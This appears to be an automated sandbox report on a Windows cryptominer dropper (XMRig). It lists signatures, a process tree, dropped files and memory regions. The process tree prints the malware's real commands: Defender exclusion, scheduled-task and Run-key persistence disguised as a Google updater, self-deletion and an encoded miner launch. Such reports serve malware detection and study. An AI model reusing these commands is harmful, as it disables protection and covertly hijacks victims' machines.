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240125-vfcyksbhgr10

24/01/2024, 17:15

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Analysis

  • max time kernel
    427s
  • max time network
    1784s
  • platform
    windows7_x64
  • resource
    win7-20231129-en
  • resource tags

    arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system
  • submitted
    24/01/2024, 17:15

General

  • Target
    grhsghsGHswgh/Y2JYGshMHJGuGREA.exe
  • Size 2.0MB
  • Sample240124-vstf4aecaj
  • SHA256 cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10

Malware Config

Signatures

  • Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 30 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 1 IoCs
  • UPX packed file 31 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops file in System32 directory 5 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Drops file in Program Files directory 4 IoCs
  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Modifies data under HKEY_USERS 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 25 IoCs
  • Suspicious use of AdjustPrivilegeToken 31 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:1360
      • C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Y2JYGshMHJGuGREA.exe
        "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Y2JYGshMHJGuGREA.exe"
        2⤵
        • Suspicious use of NtCreateUserProcessOtherParentProcess
        • Drops file in Program Files directory
        • Suspicious behavior: EnumeratesProcesses
        PID:2176
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
        2⤵
        • Drops file in System32 directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2996
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
        2⤵
        • Drops file in System32 directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2592
        • C:\Windows\system32\schtasks.exe
          "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
          3⤵
          • Creates scheduled task(s)
          PID:3040
      • C:\Windows\System32\cmd.exe
        C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Y2JYGshMHJGuGREA.exe"
        2⤵
        • Deletes itself
        • Suspicious use of WriteProcessMemory
        PID:2796
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
        2⤵
        • Drops file in System32 directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2252
        • C:\Windows\system32\schtasks.exe
          "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
          3⤵
            PID:2540
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
          2⤵
          • Drops file in System32 directory
          • Modifies data under HKEY_USERS
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1956
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
          2⤵
          • Drops file in System32 directory
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:1796
          • C:\Windows\system32\schtasks.exe
            "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
            3⤵
            • Creates scheduled task(s)
            PID:2500
        • C:\Windows\System32\conhost.exe
          C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
          2⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:2108
        • C:\Windows\System32\cmd.exe
          C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
          2⤵
          • Drops file in Program Files directory
          PID:1740
        • C:\Windows\System32\cmd.exe
          C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
          2⤵
          • Drops file in Program Files directory
          • Suspicious use of WriteProcessMemory
          PID:1576
        • C:\Windows\System32\conhost.exe
          C:\Windows\System32\conhost.exe qtdiqnkejoz
          2⤵
          • Suspicious use of NtCreateUserProcessOtherParentProcess
          • Suspicious behavior: EnumeratesProcesses
          PID:900
      • C:\Windows\System32\choice.exe
        choice /C Y /N /D Y /T 3
        1⤵
          PID:2696
        • C:\Windows\system32\taskeng.exe
          taskeng.exe {5188B0C6-89D1-464F-890C-487C4159761C} S-1-5-18:NT AUTHORITY\System:Service:
          1⤵
          • Loads dropped DLL
          • Suspicious use of WriteProcessMemory
          PID:2760
          • C:\Program Files\Google\Chrome\updater.exe
            "C:\Program Files\Google\Chrome\updater.exe"
            2⤵
            • Suspicious use of NtCreateUserProcessOtherParentProcess
            • Executes dropped EXE
            • Suspicious use of SetThreadContext
            • Drops file in Program Files directory
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:2408
        • C:\Windows\System32\Wbem\WMIC.exe
          wmic PATH Win32_VideoController GET Name, VideoProcessor
          1⤵
          • Detects videocard installed
          • Modifies data under HKEY_USERS
          • Suspicious use of AdjustPrivilegeToken
          PID:2888

        Network

              MITRE ATT&CK Enterprise v15

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              updater.exe

              • Path C:\Program Files\Google\Chrome\updater.exe
              • Size 380KB
              • SHA256 54dd67cfcb248ab8c72598e5d95b500a79d40c95291e0d0430a51cd1e702b41b
              • MD5 SHA1 SHA512 SSDEEP

              updater.exe

              • Path C:\Program Files\Google\Chrome\updater.exe
              • Size 303KB
              • SHA256 5a42b4466e8508afdd2ec704f9e2676beb34e538d9c3999e2b42b0c5e5a6f25c
              • MD5 SHA1 SHA512 SSDEEP

              g.log

              • Path C:\Program Files\Google\Libs\g.log
              • Size 198B
              • SHA256 8066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07
              • MD5 SHA1 SHA512

              CN16SW74ZRCUXYSQ92GK.temp

              • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\CN16SW74ZRCUXYSQ92GK.temp
              • Size 7KB
              • SHA256 621b183a8eacaeb30a8ffb0013afdaf0c1fffe31500fcf7e34d50dc0a80b6975
              • MD5 SHA1 SHA512 SSDEEP

              updater.exe

              • Path \Program Files\Google\Chrome\updater.exe
              • Size 422KB
              • SHA256 4015cfb7cda84951f80fa33e305f468920f867c0bf9af24fa8f7d4c5697db8ec
              • MD5 SHA1 SHA512 SSDEEP

              memory/900-77-0x0000000140000000-0x0000000140016000-memory.dmp

              memory/900-70-0x0000000140000000-0x0000000140016000-memory.dmp

              memory/1796-54-0x000007FEF5D50000-0x000007FEF66ED000-memory.dmp

              memory/1796-57-0x0000000001570000-0x00000000015F0000-memory.dmp

              memory/1796-56-0x0000000001570000-0x00000000015F0000-memory.dmp

              memory/1796-55-0x0000000001570000-0x00000000015F0000-memory.dmp

              memory/1796-52-0x000007FEF5D50000-0x000007FEF66ED000-memory.dmp

              memory/1796-53-0x0000000001570000-0x00000000015F0000-memory.dmp

              memory/1796-58-0x000007FEF5D50000-0x000007FEF66ED000-memory.dmp

              memory/1956-48-0x0000000001580000-0x0000000001600000-memory.dmp

              memory/1956-50-0x000000000158B000-0x00000000015F2000-memory.dmp

              memory/1956-49-0x0000000001584000-0x0000000001587000-memory.dmp

              memory/1956-47-0x000007FEF53B0000-0x000007FEF5D4D000-memory.dmp

              memory/1956-45-0x000007FEF53B0000-0x000007FEF5D4D000-memory.dmp

              memory/1956-46-0x0000000001580000-0x0000000001600000-memory.dmp

              memory/1956-51-0x000007FEF53B0000-0x000007FEF5D4D000-memory.dmp

              memory/2108-88-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2108-101-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2108-140-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2108-138-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2108-136-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2108-134-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2108-132-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2108-130-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2108-128-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2108-126-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2108-124-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2108-122-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2108-120-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2108-118-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2108-116-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2108-109-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2108-107-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2108-105-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2108-103-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2108-99-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2108-97-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2108-90-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2108-86-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2108-84-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2108-82-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2108-67-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2108-66-0x0000000000150000-0x0000000000170000-memory.dmp

              memory/2108-80-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2108-68-0x0000000000EA0000-0x0000000000EC0000-memory.dmp

              memory/2108-69-0x0000000000EE0000-0x0000000000F00000-memory.dmp

              memory/2108-78-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2108-71-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2108-73-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2108-74-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2108-75-0x0000000000EA0000-0x0000000000EC0000-memory.dmp

              memory/2108-76-0x0000000000EE0000-0x0000000000F00000-memory.dmp

              memory/2176-28-0x000000013FBA0000-0x000000013FDB1000-memory.dmp

              memory/2176-0-0x000000013FBA0000-0x000000013FDB1000-memory.dmp

              memory/2252-37-0x0000000002B90000-0x0000000002C10000-memory.dmp

              memory/2252-38-0x0000000002B90000-0x0000000002C10000-memory.dmp

              memory/2252-39-0x0000000002B90000-0x0000000002C10000-memory.dmp

              memory/2252-40-0x000007FEF5D50000-0x000007FEF66ED000-memory.dmp

              memory/2252-34-0x000007FEF5D50000-0x000007FEF66ED000-memory.dmp

              memory/2252-35-0x0000000002B90000-0x0000000002C10000-memory.dmp

              memory/2252-36-0x000007FEF5D50000-0x000007FEF66ED000-memory.dmp

              memory/2408-65-0x000000013FFC0000-0x00000001401D1000-memory.dmp

              memory/2408-44-0x000000013FFC0000-0x00000001401D1000-memory.dmp

              memory/2592-21-0x0000000002AB0000-0x0000000002B30000-memory.dmp

              memory/2592-18-0x000000001B5E0000-0x000000001B8C2000-memory.dmp

              memory/2592-20-0x000007FEF53B0000-0x000007FEF5D4D000-memory.dmp

              memory/2592-19-0x0000000001E80000-0x0000000001E88000-memory.dmp

              memory/2592-22-0x000007FEF53B0000-0x000007FEF5D4D000-memory.dmp

              memory/2592-24-0x0000000002AB0000-0x0000000002B30000-memory.dmp

              memory/2592-25-0x0000000002AB0000-0x0000000002B30000-memory.dmp

              memory/2592-23-0x0000000002AB0000-0x0000000002B30000-memory.dmp

              memory/2592-26-0x000007FEF53B0000-0x000007FEF5D4D000-memory.dmp

              memory/2996-5-0x000000001B5D0000-0x000000001B8B2000-memory.dmp

              memory/2996-12-0x000007FEF5D50000-0x000007FEF66ED000-memory.dmp

              memory/2996-10-0x000007FEF5D50000-0x000007FEF66ED000-memory.dmp

              memory/2996-11-0x00000000029C0000-0x0000000002A40000-memory.dmp

              memory/2996-7-0x000007FEF5D50000-0x000007FEF66ED000-memory.dmp

              memory/2996-8-0x00000000029C0000-0x0000000002A40000-memory.dmp

              memory/2996-9-0x00000000029C0000-0x0000000002A40000-memory.dmp

              memory/2996-6-0x0000000002200000-0x0000000002208000-memory.dmp